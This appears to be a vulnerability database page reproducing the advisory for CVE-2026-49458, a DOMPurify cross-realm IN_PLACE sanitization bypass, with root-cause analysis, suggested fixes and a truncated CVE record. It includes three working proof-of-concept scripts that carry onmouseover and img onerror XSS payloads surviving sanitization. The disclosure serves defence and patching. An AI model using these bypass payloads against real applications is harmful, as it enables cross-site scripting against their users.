GHSA-HPCV-96WG-7VJ8

Vulnerability from github – Published: 2026-06-15 19:56 – Updated: 2026-06-15 19:56

Summary

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { IN_PLACE: true }) against a sanitizer instance bound to a different realm

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected - IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — `_isClobbered` gates on `element instanceof HTMLFormElement`

src/purify.ts:1120-1140:

const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`

src/purify.ts:1660-1662:

while ((shadowNode = shadowIterator.nextNode())) {
  ...
  _sanitizeElements(shadowNode);
  _sanitizeAttributes(shadowNode);
  /* Deep shadow DOM detected */
  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound
    _sanitizeShadowDOM(shadowNode.content);
  }
}

The same check exists in the main iterator at :1861-1862:

if (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound
  _sanitizeShadowDOM(currentNode.content);
}

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`

src/purify.ts:1702-1712:

if (nodeType === NODE_TYPE.element) {
  const sr = getShadowRoot
    ? getShadowRoot(root)
    : (root as Element).shadowRoot;
  if (sr instanceof DocumentFragment) {                    // [C] realm-bound
    _sanitizeAttachedShadowRoots(sr);
    _sanitizeShadowDOM(sr);
  }
}

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div'); div.id = 'dirty';
  const form = idoc.createElement('form');
  form.setAttribute('onmouseover',
    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
  const inp = idoc.createElement('input');
  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes
  form.appendChild(inp);
  div.appendChild(form);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_xss = 0;
  document.body.appendChild(div);
  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  // window.__dompurify_xss === 1
};
document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

{
  "sanitizeError": null,
  "before": {
    "formIsMainRealmHTMLFormElement": false,
    "formIsForeignRealmHTMLFormElement": true,
    "formAttributesType": "[object HTMLInputElement]",
    "formAttributesEqualsInput": true
  },
  "after": {
    "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
    "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
    "xssExecuted": 1
  }
}

PoC 2 — cross-realm `<template>` content is never walked

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div');
  const tpl = idoc.createElement('template');
  tpl.innerHTML = '<img src="x" onerror=' +
    '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
  div.appendChild(tpl);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_template_xss = 0;
  const clone = idoc.importNode(tpl.content, true);
  document.body.appendChild(clone);                        // fires onerror
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "templateIsMainRealmHTMLTemplateElement": false,
    "contentIsMainRealmDocumentFragment": false,
    "contentIsForeignRealmDocumentFragment": true
  },
  "after": {
    "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
    "xssExecuted": 1
  }
}

PoC 3 — cross-realm attached shadow root is never walked

const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const host = idoc.createElement('div');
  host.attachShadow({ mode: 'open' }).innerHTML =
    '<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';

  DOMPurify.sanitize(host, { IN_PLACE: true });

  window.__dompurify_shadow_xss = 0;
  document.body.appendChild(host);                          // shadow activates, onerror fires
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "hostIsMainRealmElement": false,
    "shadowRootIsMainRealmDocumentFragment": false,
    "shadowRootIsForeignRealmDocumentFragment": true
  },
  "after": {
    "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
    "xssExecuted": 1
  }
}

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact

Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because _sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap.
<template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into.
Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code: - Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus). - Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM. - Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).

Indirect / second-order

DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.
Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify.
Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

element instanceof HTMLFormElement     // src/purify.ts:1122
element.attributes instanceof NamedNodeMap  // src/purify.ts:1126
sr instanceof DocumentFragment         // src/purify.ts:1706
currentNode.content instanceof DocumentFragment  // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)
currentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)

Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:

HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

ts const _isClobbered = function (element: Element): boolean { const nn = getNodeName ? getNodeName(element) : element.nodeName; if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false; // ... rest of the typeof / cached-getter shape checks ... };

DocumentFragment detection — nodeType === NODE_TYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.
NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.
Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODE_TYPE.element).

The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-501",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:56:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation \u2014 foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe\u0027s realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`\u0027s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment \u2014 silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm \u2014 popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer\u0027s own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`\u0027s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] \u2014 `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound \u2014 false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== \u0027string\u0027 ||\n      typeof element.textContent !== \u0027string\u0027 ||\n      typeof element.removeChild !== \u0027function\u0027 ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A\u0027] also realm-bound\n      typeof element.removeAttribute !== \u0027function\u0027 ||\n      typeof element.setAttribute !== \u0027function\u0027 ||\n      typeof element.namespaceURI !== \u0027string\u0027 ||\n      typeof element.insertBefore !== \u0027function\u0027 ||\n      typeof element.hasChildNodes !== \u0027function\u0027 ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm\u0027s `HTMLFormElement`, not the parent realm\u0027s. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` \u2014 which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form\u0027s real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] \u2014 `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B\u0027] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm \u2014 not from the parent realm. Both checks miss it, and the template\u0027s contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] \u2014 `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:\u0027open\u0027})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm\u0027s `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point\u0027s `_isNode(dirty)` at `:1750` is realm-agnostic \u2014 it checks shape, not constructor identity), so callers reasonably expect that the library\u0027s downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 \u2014 cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027); div.id = \u0027dirty\u0027;\n  const form = idoc.createElement(\u0027form\u0027);\n  form.setAttribute(\u0027onmouseover\u0027,\n    \u0027window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\u0027);\n  const inp = idoc.createElement(\u0027input\u0027);\n  inp.setAttribute(\u0027name\u0027, \u0027attributes\u0027);                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 \u2014 cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027);\n  const tpl = idoc.createElement(\u0027template\u0027);\n  tpl.innerHTML = \u0027\u003cimg src=\"x\" onerror=\u0027 +\n    \u0027\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e\u0027;\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 \u2014 cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement(\u0027div\u0027);\n  host.attachShadow({ mode: \u0027open\u0027 }).innerHTML =\n    \u0027\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e\u0027;\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** \u2014 `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** \u2014 `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** \u2014 any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page\u0027s DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another \u2014 the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm\u0027s `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** \u2014 compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== \u0027string\u0027 || transformCaseFunc(nn) !== \u0027form\u0027) return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** \u2014 `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** \u2014 read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, \u0027attributes\u0027)`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` \u2014 replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.",
  "id": "GHSA-hpcv-96wg-7vj8",
  "modified": "2026-06-15T19:56:35Z",
  "published": "2026-06-15T19:56:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks"
}

CVE-2026-49458 (GCVE-0-2026-49458)

Vulnerability from cvelistv5 – Published: 2026-07-14 19:58 – Updated: 2026-07-14 19:58

Title

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

Summary

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-501 - Trust Boundary Violation
CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/cure53/DOMPurify/security/advi…	x_refsource_CONFIRM
https://github.com/cure53/DOMPurify/commit/bb7739…	x_refsource_MISC
https://github.com/cure53/DOMPurify/releases/tag/3.4.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
cure53	DOMPurify	Affected: < 3.4.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
